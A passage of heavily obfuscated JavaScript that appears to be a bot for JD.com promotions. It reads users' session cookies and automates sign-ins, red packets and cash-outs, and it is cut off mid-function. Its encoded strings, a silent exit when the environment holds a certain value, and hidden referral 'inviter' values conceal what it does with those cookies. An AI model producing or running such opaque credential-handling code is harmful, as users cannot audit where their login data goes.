_0x597c69='shift',_0x93f1f4='push',_0xadf157='‮';if(_0x472973<_0x5c13df){while(--_0x5c13df){_0x3b24ae=_0x4f4d31[_0x597c69]();if(_0x472973===_0x5c13df&&_0xadf157==='‮'&&_0xadf157['length']===0x1){_0x472973=_0x3b24ae,_0x357464=_0x4f4d31[_0x16f80b+'p']();}else if(_0x472973&&_0x357464['replace'](/[BeXSJXNefHLnHqk=]/g,'')===_0x472973){_0x4f4d31[_0x93f1f4](_0x3b24ae);}}_0x4f4d31[_0x93f1f4](_0x4f4d31[_0x597c69]());}return 0xf8f41;};return _0x4b4e78(++_0x3e2464,_0x2daa40)>>_0x3e2464^_0x2daa40;}(_0x16b2,0x156,0x15600),_0x16b2){_0xodf_=_0x16b2['length']^0x156;};function _0x1526(_0x1f345e,_0x24ee90){_0x1f345e=~~'0x'['concat'](_0x1f345e['slice'](0x1));var _0x52b306=_0x16b2[_0x1f345e];if(_0x1526['pjrRnf']===undefined&&'‮'['length']===0x1){(function(){var _0x492aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0xa9dca1='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x492aa4['atob']||(_0x492aa4['atob']=function(_0x1c70af){var _0x70962f=String(_0x1c70af)['replace'](/=+$/,'');for(var _0x522aa1=0x0,_0x1a6042,_0x31a8d7,_0x5f0042=0x0,_0x11c64d='';_0x31a8d7=_0x70962f['charAt'](_0x5f0042++);~_0x31a8d7&&(_0x1a6042=_0x522aa1%0x4?_0x1a6042*0x40+_0x31a8d7:_0x31a8d7,_0x522aa1++%0x4)?_0x11c64d+=String['fromCharCode'](0xff&_0x1a6042>>(-0x2*_0x522aa1&0x6)):0x0){_0x31a8d7=_0xa9dca1['indexOf'](_0x31a8d7);}return _0x11c64d;});}());_0x1526['UWTCZz']=function(_0x59bf3f){var _0x134d70=atob(_0x59bf3f);var _0x5045ee=[];for(var _0x26d52d=0x0,_0x206e6f=_0x134d70['length'];_0x26d52d<_0x206e6f;_0x26d52d++){_0x5045ee+='%'+('00'+_0x134d70['charCodeAt'](_0x26d52d)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x5045ee);};_0x1526['pstApe']={};_0x1526['pjrRnf']=!![];}var _0x459600=_0x1526['pstApe'][_0x1f345e];if(_0x459600===undefined){_0x52b306=_0x1526['UWTCZz'](_0x52b306);_0x1526['pstApe'][_0x1f345e]=_0x52b306;}else{_0x52b306=_0x459600;}return _0x52b306;};const $=new Env(_0x1526('‫0'));const notify=$[_0x1526('‫1')]()?require(_0x1526('‮2')):'';const jdCookieNode=$[_0x1526('‫1')]()?require(_0x1526('‮3')):'';let cookiesArr=[],cookie='',message;const linkIdArr=[_0x1526('‫4')];const signLinkId=_0x1526('‮5');let linkId;if($[_0x1526('‫1')]()){Object[_0x1526('‮6')](jdCookieNode)[_0x1526('‮7')](_0x23c25c=>{cookiesArr[_0x1526('‮8')](jdCookieNode[_0x23c25c]);});if(process[_0x1526('‫9')][_0x1526('‫a')]&&process[_0x1526('‫9')][_0x1526('‫a')]===_0x1526('‫b'))console[_0x1526('‫c')]=()=>{};if(JSON[_0x1526('‫d')](process[_0x1526('‫9')])[_0x1526('‮e')](_0x1526('‮f'))>-0x1)process[_0x1526('‮10')](0x0);}else{cookiesArr=[$[_0x1526('‫11')](_0x1526('‫12')),$[_0x1526('‫11')](_0x1526('‫13')),...jsonParse($[_0x1526('‫11')](_0x1526('‫14'))||'[]')[_0x1526('‫15')](_0x4fa89f=>_0x4fa89f[_0x1526('‫16')])][_0x1526('‫17')](_0x22c582=>!!_0x22c582);}!(async()=>{var _0x46176d={'acRti':function(_0x3351f7,_0x2fb3b2){return _0x3351f7==_0x2fb3b2;},'BVUCo':_0x1526('‮18'),'RoONp':_0x1526('‮19'),'Wdzbw':function(_0xcd7003,_0x4d9d7f){return _0xcd7003===_0x4d9d7f;},'DlKQG':_0x1526('‮1a'),'OnrgU':_0x1526('‫1b'),'cQHUa':_0x1526('‮1c'),'idamD':_0x1526('‫1d'),'YCEze':function(_0x1009ea,_0x26367f){return _0x1009ea<_0x26367f;},'cfbBG':function(_0x3f3d3a,_0x27cada){return _0x3f3d3a(_0x27cada);},'IyNOL':function(_0x2652a8,_0x747a5){return _0x2652a8+_0x747a5;},'imHjo':function(_0x1af9a6){return _0x1af9a6();},'fTOOI':_0x1526('‮1e'),'fISGg':function(_0x55bd60,_0x42a058){return _0x55bd60<_0x42a058;}};if(!cookiesArr[0x0]){if(_0x46176d[_0x1526('‮1f')](_0x46176d[_0x1526('‫20')],_0x46176d[_0x1526('‮21')])){$[_0x1526('‮22')](e,resp);}else{$[_0x1526('‮23')]($[_0x1526('‮24')],_0x46176d[_0x1526('‮25')],_0x46176d[_0x1526('‫26')],{'open-url':_0x46176d[_0x1526('‫26')]});return;}}for(let _0x26cae5=0x0;_0x46176d[_0x1526('‮27')](_0x26cae5,cookiesArr[_0x1526('‫28')]);_0x26cae5++){if(cookiesArr[_0x26cae5]){console[_0x1526('‫c')](_0x1526('‮29'));cookie=cookiesArr[_0x26cae5];$[_0x1526('‫2a')]=_0x46176d[_0x1526('‫2b')](decodeURIComponent,cookie[_0x1526('‫2c')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x1526('‫2c')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x1526('‮2d')]=_0x46176d[_0x1526('‮2e')](_0x26cae5,0x1);$[_0x1526('‫2f')]=!![];$[_0x1526('‮30')]='';message='';await _0x46176d[_0x1526('‮31')](TotalBean);console[_0x1526('‫c')](_0x1526('‮32')+$[_0x1526('‮2d')]+'】'+($[_0x1526('‮30')]||$[_0x1526('‫2a')])+_0x1526('‮33'));if(!$[_0x1526('‫2f')]){if(_0x46176d[_0x1526('‮1f')](_0x46176d[_0x1526('‫34')],_0x46176d[_0x1526('‫34')])){$[_0x1526('‮23')]($[_0x1526('‮24')],_0x1526('‮35'),_0x1526('‮36')+$[_0x1526('‮2d')]+'\x20'+($[_0x1526('‮30')]||$[_0x1526('‫2a')])+_0x1526('‫37'),{'open-url':_0x46176d[_0x1526('‫26')]});if($[_0x1526('‫1')]()){await notify[_0x1526('‫38')]($[_0x1526('‮24')]+_0x1526('‮39')+$[_0x1526('‫2a')],_0x1526('‮36')+$[_0x1526('‮2d')]+'\x20'+$[_0x1526('‫2a')]+_0x1526('‮3a'));}continue;}else{if(_0x46176d[_0x1526('‫3b')](typeof str,_0x46176d[_0x1526('‮3c')])){try{return JSON[_0x1526('‫3d')](str);}catch(_0x3f4bee){console[_0x1526('‫c')](_0x3f4bee);$[_0x1526('‮23')]($[_0x1526('‮24')],'',_0x46176d[_0x1526('‫3e')]);return[];}}}}for(let _0x11d0ad=0x0;_0x46176d[_0x1526('‮3f')](_0x11d0ad,linkIdArr[_0x1526('‫28')]);_0x11d0ad++){linkId=linkIdArr[_0x11d0ad];await _0x46176d[_0x1526('‮31')](jsRedPacket);}}}})()[_0x1526('‫40')](_0x3f00c2=>{$[_0x1526('‫c')]('','❌\x20'+$[_0x1526('‮24')]+_0x1526('‫41')+_0x3f00c2+'!','');})[_0x1526('‫42')](()=>{$[_0x1526('‮43')]();});async function jsRedPacket(){var _0x54a238={'aQzXJ':function(_0x4d3ddb){return _0x4d3ddb();},'bznYA':function(_0x2d4565){return _0x2d4565();},'HjJMQ':function(_0x5cd4ba){return _0x5cd4ba();},'FdriM':function(_0x23c606,_0x35aaaa){return _0x23c606<_0x35aaaa;},'GyKjm':function(_0x2df15c,_0x264898){return _0x2df15c!==_0x264898;},'SMNNJ':_0x1526('‮44'),'fyfLZ':function(_0x29144f){return _0x29144f();},'VRwUu':function(_0x22d2b6){return _0x22d2b6();},'RKzsR':function(_0x5d319b){return _0x5d319b();}};try{await _0x54a238[_0x1526('‮45')](invite2);await _0x54a238[_0x1526('‫46')](sign);await _0x54a238[_0x1526('‮47')](reward_query);for(let _0x3b8746=0x0;_0x54a238[_0x1526('‫48')](_0x3b8746,0x3);_0x3b8746++){if(_0x54a238[_0x1526('‮49')](_0x54a238[_0x1526('‮4a')],_0x54a238[_0x1526('‮4a')])){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](err));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{await _0x54a238[_0x1526('‮4c')](redPacket);await $[_0x1526('‮4d')](0x7d0);}}await _0x54a238[_0x1526('‫4e')](getPacketList);await _0x54a238[_0x1526('‮4f')](signPrizeDetailList);await _0x54a238[_0x1526('‮4f')](showMsg);}catch(_0x168770){$[_0x1526('‮22')](_0x168770);}}function showMsg(){var _0x23ec2c={'dbfuT':function(_0x588157){return _0x588157();}};return new Promise(_0x221922=>{if(message)$[_0x1526('‮23')]($[_0x1526('‮24')],'',_0x1526('‮36')+$[_0x1526('‮2d')]+$[_0x1526('‮30')]+'\x0a'+message);_0x23ec2c[_0x1526('‮50')](_0x221922);});}async function sign(){var _0x3c4642={'DeIYX':function(_0x5a1eae,_0x2c5466){return _0x5a1eae!==_0x2c5466;},'Yudoa':_0x1526('‮51'),'OJBoV':function(_0x43e193,_0x53f2e6){return _0x43e193(_0x53f2e6);},'cSMOG':function(_0x188a99,_0x115955){return _0x188a99===_0x115955;},'JUjyF':function(_0x541c3e,_0x4c7c82){return _0x541c3e!==_0x4c7c82;},'SZHBI':_0x1526('‮52'),'xlTLW':_0x1526('‫53'),'fEDtj':function(_0x3e1c91,_0x8408e){return _0x3e1c91===_0x8408e;},'CvksM':_0x1526('‮54'),'NOHXj':_0x1526('‮55'),'qSazu':_0x1526('‫56'),'ZvnzF':function(_0x2961e7,_0x289ed0){return _0x2961e7==_0x289ed0;},'jiymO':_0x1526('‫57'),'LRMdK':function(_0x29fe17,_0x6a6c30){return _0x29fe17===_0x6a6c30;},'HshhP':_0x1526('‮58'),'XXopS':function(_0x239bb3,_0x305c28,_0x1c4190,_0x4d3ace){return _0x239bb3(_0x305c28,_0x1c4190,_0x4d3ace);},'NmBHx':_0x1526('‫59'),'jKitF':_0x1526('‮5a'),'SaYjc':_0x1526('‮5b'),'blHqv':_0x1526('‫5c'),'LwsOe':_0x1526('‫5d'),'ZpLAY':_0x1526('‫5e'),'BJkyR':_0x1526('‮5f'),'ICUUa':_0x1526('‮60'),'FrOpR':_0x1526('‮61'),'CdgVW':_0x1526('‫62'),'nvgnL':_0x1526('‮63')};return new Promise(async _0x5f568a=>{var _0x36cad2={'ZmNQY':function(_0x2cef0e,_0x192125){return _0x3c4642[_0x1526('‫64')](_0x2cef0e,_0x192125);},'KoxXB':_0x3c4642[_0x1526('‮65')],'PhNbR':function(_0xadd15c,_0x15d6e0){return _0x3c4642[_0x1526('‮66')](_0xadd15c,_0x15d6e0);}};const _0x2af90e={'linkId':signLinkId,'serviceName':_0x3c4642[_0x1526('‫67')],'business':0x1};const _0x1a75fd={'url':_0x1526('‮68'),'body':await _0x3c4642[_0x1526('‫69')](getSign,_0x3c4642[_0x1526('‫6a')],_0x2af90e,!![]),'headers':{'Host':_0x3c4642[_0x1526('‫6b')],'Accept':_0x3c4642[_0x1526('‫6c')],'Content-Type':_0x3c4642[_0x1526('‮6d')],'Origin':_0x3c4642[_0x1526('‫6e')],'Accept-Language':_0x3c4642[_0x1526('‫6f')],'User-Agent':$[_0x1526('‫1')]()?process[_0x1526('‫9')][_0x1526('‮70')]?process[_0x1526('‫9')][_0x1526('‮70')]:_0x3c4642[_0x1526('‮71')](require,_0x3c4642[_0x1526('‫72')])[_0x1526('‫73')]:$[_0x1526('‫11')](_0x3c4642[_0x1526('‮74')])?$[_0x1526('‫11')](_0x3c4642[_0x1526('‮74')]):_0x3c4642[_0x1526('‫75')],'Referer':_0x3c4642[_0x1526('‮76')],'Accept-Encoding':_0x3c4642[_0x1526('‫77')],'Cookie':cookie}};$[_0x1526('‮78')](_0x1a75fd,async(_0x648126,_0x53ab8f,_0x394de9)=>{try{if(_0x3c4642[_0x1526('‮79')](_0x3c4642[_0x1526('‮7a')],_0x3c4642[_0x1526('‮7a')])){Host=process[_0x1526('‫9')][_0x1526('‮7b')];}else{if(_0x648126){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x648126));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{if(_0x3c4642[_0x1526('‮71')](safeGet,_0x394de9)){_0x394de9=$[_0x1526('‮7c')](_0x394de9);if(_0x3c4642[_0x1526('‮7d')](_0x394de9[_0x1526('‫7e')],0x0)){if(_0x3c4642[_0x1526('‫7f')](_0x3c4642[_0x1526('‫80')],_0x3c4642[_0x1526('‫81')])){if(_0x3c4642[_0x1526('‮7d')](_0x394de9[_0x1526('‮82')][_0x1526('‫83')],0x0)){message+=_0x1526('‫84');console[_0x1526('‫c')](_0x1526('‫84'));}else{if(_0x3c4642[_0x1526('‫85')](_0x3c4642[_0x1526('‫86')],_0x3c4642[_0x1526('‫86')])){console[_0x1526('‫c')](_0x1526('‫87')+_0x394de9[_0x1526('‮82')][_0x1526('‮88')]+'\x0a');}else{if(_0x36cad2[_0x1526('‫89')](typeof JSON[_0x1526('‫3d')](_0x394de9),_0x36cad2[_0x1526('‫8a')])){return!![];}}}}else{$[_0x1526('‮22')](e,_0x53ab8f);}}else{if(_0x3c4642[_0x1526('‫85')](_0x3c4642[_0x1526('‫8b')],_0x3c4642[_0x1526('‫8c')])){_0x394de9=JSON[_0x1526('‫3d')](_0x394de9);if(_0x36cad2[_0x1526('‫8d')](_0x394de9[_0x1526('‫7e')],0x0)){}else{console[_0x1526('‫c')](_0x394de9[_0x1526('‫8e')]);}}else{console[_0x1526('‫c')](_0x1526('‮8f')+JSON[_0x1526('‫d')](_0x394de9)+'\x0a');}}}}}}catch(_0x1ee069){$[_0x1526('‮22')](_0x1ee069,_0x53ab8f);}finally{_0x3c4642[_0x1526('‮71')](_0x5f568a,_0x394de9);}});});}function reward_query(){var _0x281711={'VHUxD':function(_0x549ca4,_0x2a2d55){return _0x549ca4!==_0x2a2d55;},'gNAke':_0x1526('‮90'),'tWWjm':_0x1526('‮91'),'lzzgC':function(_0x911da7,_0x2659dc){return _0x911da7!==_0x2659dc;},'kvWbj':_0x1526('‮92'),'VtQNP':function(_0x19933a,_0x310729){return _0x19933a(_0x310729);},'hPbDj':function(_0xf7e8e9,_0x1d84fc){return _0xf7e8e9!==_0x1d84fc;},'gNkmq':_0x1526('‫93'),'FSsiF':function(_0x88835f,_0x31e51e){return _0x88835f===_0x31e51e;},'NzqPC':function(_0x2d9074,_0x457526){return _0x2d9074(_0x457526);},'VOpyW':_0x1526('‮94'),'KHsMJ':_0x1526('‫95'),'RfcuJ':_0x1526('‫96'),'pWLxr':function(_0x542512){return _0x542512();},'dQTyQ':function(_0x3532e1,_0x4d962d){return _0x3532e1!==_0x4d962d;},'ZGxet':_0x1526('‮97'),'ksiJT':function(_0xfbdd0,_0x11b9f8,_0x1293aa){return _0xfbdd0(_0x11b9f8,_0x1293aa);},'bRCHm':_0x1526('‫98'),'gRHLQ':_0x1526('‫99'),'wYuWC':function(_0x1157e1,_0x26aeae){return _0x1157e1*_0x26aeae;}};return new Promise(_0x320516=>{var _0x569637={'MiNWD':function(_0x2f577b,_0x300550){return _0x281711[_0x1526('‫9a')](_0x2f577b,_0x300550);},'nEqlo':_0x281711[_0x1526('‫9b')],'LmCwV':_0x281711[_0x1526('‮9c')],'mwtAl':_0x281711[_0x1526('‫9d')],'AUyMi':function(_0xda51f3){return _0x281711[_0x1526('‫9e')](_0xda51f3);}};if(_0x281711[_0x1526('‮9f')](_0x281711[_0x1526('‫a0')],_0x281711[_0x1526('‫a0')])){data=JSON[_0x1526('‫3d')](data);if(_0x569637[_0x1526('‮a1')](data[_0x569637[_0x1526('‫a2')]],_0x569637[_0x1526('‫a3')])){$[_0x1526('‫2f')]=![];return;}if(_0x569637[_0x1526('‮a1')](data[_0x569637[_0x1526('‫a2')]],'0')&&data[_0x1526('‮82')]&&data[_0x1526('‮82')][_0x1526('‮a4')](_0x569637[_0x1526('‫a5')])){$[_0x1526('‮30')]=data[_0x1526('‮82')][_0x1526('‫96')][_0x1526('‮a6')][_0x1526('‫a7')];}}else{$[_0x1526('‮a8')](_0x281711[_0x1526('‫a9')](taskGetUrl,_0x281711[_0x1526('‮aa')],{'linkId':linkId,'inviter':[_0x281711[_0x1526('‫ab')]][Math[_0x1526('‮ac')](_0x281711[_0x1526('‮ad')](Math[_0x1526('‮ae')](),0x1))]}),async(_0xea2c2e,_0x5c359b,_0x42b854)=>{try{if(_0xea2c2e){if(_0x281711[_0x1526('‫af')](_0x281711[_0x1526('‮b0')],_0x281711[_0x1526('‮b1')])){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0xea2c2e));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{_0x569637[_0x1526('‫b2')](_0x320516);}}else{if(_0x281711[_0x1526('‫b3')](_0x281711[_0x1526('‫b4')],_0x281711[_0x1526('‫b4')])){console[_0x1526('‫c')](_0x1526('‫b5')+JSON[_0x1526('‫d')](_0x42b854)+'\x0a');}else{if(_0x281711[_0x1526('‮b6')](safeGet,_0x42b854)){if(_0x281711[_0x1526('‫b7')](_0x281711[_0x1526('‫b8')],_0x281711[_0x1526('‫b8')])){return!![];}else{_0x42b854=JSON[_0x1526('‫3d')](_0x42b854);if(_0x281711[_0x1526('‫9a')](_0x42b854[_0x1526('‫7e')],0x0)){}else{console[_0x1526('‫c')](_0x42b854[_0x1526('‫8e')]);}}}}}}catch(_0x33ab7d){$[_0x1526('‮22')](_0x33ab7d,_0x5c359b);}finally{_0x281711[_0x1526('‫b9')](_0x320516,_0x42b854);}});}});}async function redPacket(){var _0x2df0ec={'bNYEQ':_0x1526('‫ba'),'UjHSs':function(_0x143512,_0x1c3dab){return _0x143512!==_0x1c3dab;},'fNLGa':_0x1526('‮bb'),'mAtth':_0x1526('‮bc'),'hNWcj':function(_0x43428c,_0xc0257c){return _0x43428c(_0xc0257c);},'UBmnL':function(_0x56fa7e,_0x2da9bb){return _0x56fa7e===_0x2da9bb;},'DPaBV':_0x1526('‫bd'),'EAwfV':_0x1526('‮be'),'pMFgN':function(_0xb41e6b,_0x23ea1a){return _0xb41e6b!==_0x23ea1a;},'WdqDH':_0x1526('‫bf'),'Qbccb':_0x1526('‮c0'),'eTgvO':function(_0x317e5a,_0x33c41c){return _0x317e5a(_0x33c41c);},'DxBGS':_0x1526('‮5a'),'idtgs':_0x1526('‮5b'),'ogoBv':_0x1526('‫c1'),'bkQkH':_0x1526('‮63'),'QReqx':_0x1526('‮5f'),'lnchS':_0x1526('‮60'),'JBkbz':_0x1526('‮61'),'Tukne':_0x1526('‫5e'),'ZKotI':_0x1526('‫c2'),'UAZgX':_0x1526('‮c3'),'xszSl':_0x1526('‫c4'),'lhhqr':_0x1526('‫99'),'iFqAD':function(_0x23a00c,_0x1e1bc1){return _0x23a00c*_0x1e1bc1;},'GELhp':function(_0x3249d3,_0x2904c7,_0x3dbd5e,_0x6646b0){return _0x3249d3(_0x2904c7,_0x3dbd5e,_0x6646b0);},'Nluda':_0x1526('‮c5'),'pbjJa':function(_0x38debd,_0x3dc8ff){return _0x38debd(_0x3dc8ff);}};return new Promise(async _0x2ec4f5=>{var _0x13cc42={'QDiUI':function(_0x3bc223,_0x4a3a26){return _0x2df0ec[_0x1526('‫c6')](_0x3bc223,_0x4a3a26);},'pYAUl':_0x2df0ec[_0x1526('‮c7')],'zvlBV':_0x2df0ec[_0x1526('‫c8')],'MLOeA':_0x2df0ec[_0x1526('‮c9')],'YTrKj':_0x2df0ec[_0x1526('‫ca')],'zIbRR':_0x2df0ec[_0x1526('‫cb')],'TDvDp':_0x2df0ec[_0x1526('‫cc')],'fUNTW':_0x2df0ec[_0x1526('‫cd')],'hgpCp':_0x2df0ec[_0x1526('‫ce')],'SEZjO':_0x2df0ec[_0x1526('‫cf')]};if(_0x2df0ec[_0x1526('‫d0')](_0x2df0ec[_0x1526('‫d1')],_0x2df0ec[_0x1526('‮d2')])){let _0x380f42={'linkId':linkId,'inviter':[_0x2df0ec[_0x1526('‫d3')]][Math[_0x1526('‮ac')](_0x2df0ec[_0x1526('‫d4')](Math[_0x1526('‮ae')](),0x1))]};_0x380f42=await _0x2df0ec[_0x1526('‫d5')](getSign,_0x2df0ec[_0x1526('‫d6')],_0x380f42,!![]);let _0x49041d={'url':_0x1526('‫d7')+_0x380f42,'headers':{'Host':_0x2df0ec[_0x1526('‮c7')],'Accept':_0x2df0ec[_0x1526('‫c8')],'Origin':_0x2df0ec[_0x1526('‮c9')],'Accept-Encoding':_0x2df0ec[_0x1526('‫ca')],'User-Agent':$[_0x1526('‫1')]()?process[_0x1526('‫9')][_0x1526('‮70')]?process[_0x1526('‫9')][_0x1526('‮70')]:_0x2df0ec[_0x1526('‮d8')](require,_0x2df0ec[_0x1526('‫cb')])[_0x1526('‫73')]:$[_0x1526('‫11')](_0x2df0ec[_0x1526('‫cc')])?$[_0x1526('‫11')](_0x2df0ec[_0x1526('‫cc')]):_0x2df0ec[_0x1526('‫cd')],'Accept-Language':_0x2df0ec[_0x1526('‫ce')],'Referer':_0x2df0ec[_0x1526('‫cf')],'Cookie':cookie}};$[_0x1526('‮a8')](_0x49041d,async(_0x7968c4,_0x3775ca,_0x80aac)=>{var _0x1a1cbd={'xqiuy':_0x2df0ec[_0x1526('‫d9')]};if(_0x2df0ec[_0x1526('‮da')](_0x2df0ec[_0x1526('‫db')],_0x2df0ec[_0x1526('‫dc')])){try{if(_0x7968c4){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x7968c4));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{if(_0x2df0ec[_0x1526('‫dd')](safeGet,_0x80aac)){_0x80aac=JSON[_0x1526('‫3d')](_0x80aac);if(_0x2df0ec[_0x1526('‫de')](_0x80aac[_0x1526('‫7e')],0x0)){if(_0x2df0ec[_0x1526('‮da')](_0x80aac[_0x1526('‮82')][_0x1526('‫df')][_0x1526('‮e0')],0x1)){if(_0x2df0ec[_0x1526('‫de')](_0x2df0ec[_0x1526('‫e1')],_0x2df0ec[_0x1526('‫e2')])){console[_0x1526('‫c')](_0x1a1cbd[_0x1526('‫e3')]);}else{message+='获得'+_0x80aac[_0x1526('‮82')][_0x1526('‫df')][_0x1526('‫e4')]+'\x0a';console[_0x1526('‫c')]('获得'+_0x80aac[_0x1526('‮82')][_0x1526('‫df')][_0x1526('‫e4')]);}}else{if(_0x2df0ec[_0x1526('‫d0')](_0x2df0ec[_0x1526('‮e5')],_0x2df0ec[_0x1526('‮e5')])){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x7968c4));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{console[_0x1526('‫c')](_0x2df0ec[_0x1526('‮e6')]);}}}else{console[_0x1526('‫c')](_0x80aac[_0x1526('‫8e')]);}}}}catch(_0x5ada11){$[_0x1526('‮22')](_0x5ada11,_0x3775ca);}finally{_0x2df0ec[_0x1526('‫c6')](_0x2ec4f5,_0x80aac);}}else{console[_0x1526('‫c')](_0x1526('‫e7')+JSON[_0x1526('‫d')](_0x80aac)+'\x0a');}});}else{return{'url':_0x1526('‫e8')+function_id+_0x1526('‮e9')+_0x13cc42[_0x1526('‫ea')](encodeURIComponent,JSON[_0x1526('‫d')](body))+_0x1526('‫eb')+Date[_0x1526('‫ec')]()+_0x1526('‮ed'),'headers':{'Host':_0x13cc42[_0x1526('‫ee')],'Accept':_0x13cc42[_0x1526('‫ef')],'Origin':_0x13cc42[_0x1526('‮f0')],'Accept-Encoding':_0x13cc42[_0x1526('‮f1')],'User-Agent':$[_0x1526('‫1')]()?process[_0x1526('‫9')][_0x1526('‮70')]?process[_0x1526('‫9')][_0x1526('‮70')]:_0x13cc42[_0x1526('‫ea')](require,_0x13cc42[_0x1526('‮f2')])[_0x1526('‫73')]:$[_0x1526('‫11')](_0x13cc42[_0x1526('‫f3')])?$[_0x1526('‫11')](_0x13cc42[_0x1526('‫f3')]):_0x13cc42[_0x1526('‫f4')],'Accept-Language':_0x13cc42[_0x1526('‮f5')],'Referer':_0x13cc42[_0x1526('‮f6')],'Cookie':cookie}};}});}function getPacketList(){var _0x2ffcf9={'qxueo':function(_0x3bde70,_0x54a383){return _0x3bde70(_0x54a383);},'sbZuQ':function(_0x54430e,_0x34a36c){return _0x54430e!==_0x34a36c;},'tgORn':_0x1526('‫f7'),'wXrJt':function(_0x225605,_0x3142ec){return _0x225605===_0x3142ec;},'Glwzd':_0x1526('‮f8'),'KMcbw':_0x1526('‫f9'),'Kguri':_0x1526('‮fa'),'haPph':function(_0x22c7ee,_0x1e59b5){return _0x22c7ee===_0x1e59b5;},'EXexL':function(_0x422215,_0x265f1c){return _0x422215!==_0x265f1c;},'RmKbE':_0x1526('‫fb'),'GvGhE':function(_0xcd91b5,_0x560e73,_0x438562,_0x575a62,_0x4dfa78){return _0xcd91b5(_0x560e73,_0x438562,_0x575a62,_0x4dfa78);},'XOLYP':function(_0x3030e8,_0x4ab896){return _0x3030e8(_0x4ab896);},'ZqTez':function(_0x15c16e,_0x563f0c,_0x224466){return _0x15c16e(_0x563f0c,_0x224466);},'IRVvV':_0x1526('‮fc')};return new Promise(_0x505100=>{$[_0x1526('‮a8')](_0x2ffcf9[_0x1526('‫fd')](taskGetUrl,_0x2ffcf9[_0x1526('‮fe')],{'pageNum':0x1,'pageSize':0x64,'linkId':linkId,'inviter':''}),async(_0x14e07e,_0x15914b,_0x5dd7ea)=>{var _0x2394f4={'uiFqF':function(_0x1a6bb2,_0x3d3c37){return _0x2ffcf9[_0x1526('‫ff')](_0x1a6bb2,_0x3d3c37);}};if(_0x2ffcf9[_0x1526('‫100')](_0x2ffcf9[_0x1526('‮101')],_0x2ffcf9[_0x1526('‮101')])){console[_0x1526('‫c')](_0x5dd7ea[_0x1526('‫8e')]);}else{try{if(_0x2ffcf9[_0x1526('‫102')](_0x2ffcf9[_0x1526('‮103')],_0x2ffcf9[_0x1526('‫104')])){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x14e07e));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{if(_0x14e07e){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x14e07e));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{if(_0x2ffcf9[_0x1526('‫ff')](safeGet,_0x5dd7ea)){if(_0x2ffcf9[_0x1526('‫102')](_0x2ffcf9[_0x1526('‮105')],_0x2ffcf9[_0x1526('‮105')])){_0x5dd7ea=JSON[_0x1526('‫3d')](_0x5dd7ea);if(_0x2ffcf9[_0x1526('‫102')](_0x5dd7ea[_0x1526('‫7e')],0x0)){for(let _0x456f7e of _0x5dd7ea[_0x1526('‮82')][_0x1526('‫106')][_0x1526('‫17')](_0xa9542f=>_0xa9542f[_0x1526('‮e0')]===0x4)){if(_0x2ffcf9[_0x1526('‮107')](_0x456f7e[_0x1526('‫108')],0x0)){if(_0x2ffcf9[_0x1526('‮109')](_0x2ffcf9[_0x1526('‮10a')],_0x2ffcf9[_0x1526('‮10a')])){console[_0x1526('‫c')](_0x1526('‫10b')+JSON[_0x1526('‫d')](_0x5dd7ea)+'\x0a');}else{console[_0x1526('‫c')](_0x1526('‫10c')+_0x456f7e[_0x1526('‫10d')]+_0x1526('‫10e'));message+='提现'+_0x456f7e[_0x1526('‫10d')]+_0x1526('‫10f');await _0x2ffcf9[_0x1526('‫110')](cashOut,_0x456f7e['id'],_0x456f7e[_0x1526('‫111')],_0x456f7e[_0x1526('‫112')],_0x456f7e[_0x1526('‫113')]);}}}}else{console[_0x1526('‫c')](_0x5dd7ea[_0x1526('‫8e')]);}}else{_0x2394f4[_0x1526('‫114')](_0x505100,_0x5dd7ea);}}}}}catch(_0x4eaae4){$[_0x1526('‮22')](_0x4eaae4,_0x15914b);}finally{_0x2ffcf9[_0x1526('‫115')](_0x505100,_0x5dd7ea);}}});});}function signPrizeDetailList(){var _0x59eaa1={'VcvSS':function(_0x10ae41,_0x58c1aa){return _0x10ae41(_0x58c1aa);},'gbuEp':function(_0x58aa44,_0x2776eb){return _0x58aa44===_0x2776eb;},'cDexB':function(_0x498c1e,_0x33eb51){return _0x498c1e===_0x33eb51;},'LnDuS':function(_0x2c4a31,_0x517c49){return _0x2c4a31!==_0x517c49;},'zylaV':_0x1526('‮116'),'TGkbB':_0x1526('‮117'),'KUvdY':_0x1526('‫118'),'xUHjV':function(_0x2b3bf9,_0x3b7523,_0x1289d5,_0x2d82b8,_0x38949e){return _0x2b3bf9(_0x3b7523,_0x1289d5,_0x2d82b8,_0x38949e);},'Ldxmd':_0x1526('‫111'),'wKFRf':_0x1526('‫112'),'YfdGu':_0x1526('‫113'),'PmhNz':_0x1526('‮58'),'yuEEh':function(_0x2ba7cd,_0x2172d,_0x3b0c8c){return _0x2ba7cd(_0x2172d,_0x3b0c8c);},'HvJgj':_0x1526('‮119')};return new Promise(_0x1f8f6c=>{var _0x245887={'frbcK':function(_0x5ba08c,_0x3f1e2c){return _0x59eaa1[_0x1526('‫11a')](_0x5ba08c,_0x3f1e2c);},'LlLrv':function(_0x5e2ce4,_0xe3b3a1){return _0x59eaa1[_0x1526('‫11b')](_0x5e2ce4,_0xe3b3a1);},'SuJaT':function(_0x38fcdd,_0x5ed92a){return _0x59eaa1[_0x1526('‫11c')](_0x38fcdd,_0x5ed92a);},'YnHtS':function(_0x5ceceb,_0x412809){return 